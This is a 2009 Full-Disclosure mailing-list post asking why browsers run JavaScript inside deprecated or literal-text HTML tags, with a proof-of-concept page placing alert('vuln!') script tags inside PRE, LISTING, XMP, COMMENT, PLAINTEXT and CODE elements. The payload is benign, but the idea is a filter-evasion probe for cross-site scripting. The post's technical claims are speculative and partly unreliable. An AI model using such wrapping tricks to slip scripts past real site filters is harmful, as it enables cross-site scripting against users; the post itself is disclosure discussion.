[Full-disclosure] JS-Fun with HTML deprecated tags

Sat Mar 14 12:37:08 GMT 2009

Sup FD peoples,

This has probably already been discussed before, but I'm still at a loss as to why PRE, listING and COMMENT allow scripts to be run. I know that PRE has been specifically stated that it will not block all tags, but since listING and COMMENT are now deprecated, why are browsers still allowing Javascript to be run from within them? Doesn't this pose a security vulnerability? I mean, the whole point to the COMMENT tag, is pretty self-explanatory in its name. I'm pretty sure I could google around for a few sites that block javascript being used, but throw them into a listING tag or a COMMENT tag and they'd probably run. Apologies if this has already been discussed...

-Malformation

Proof of concept:

<html>
<body>
<pre>
PRE
<script>alert("vuln!");</script>
</pre>

<listING>
LISTING
<script>alert("vuln!");</script>
</listING>

<XMP>
XMP
<script>alert("vuln!");</script>
</XMP>

<COMMENT>
COMMENT
<script>alert("vuln!");</script>
</COMMENT>

<PLAINTEXT>
PLAINTEXT
<script>alert("vuln!");</script>
</PLAINTEXT>

<code>
CODE
<script>alert("vuln!");</script>
</code>

</body>
</html>
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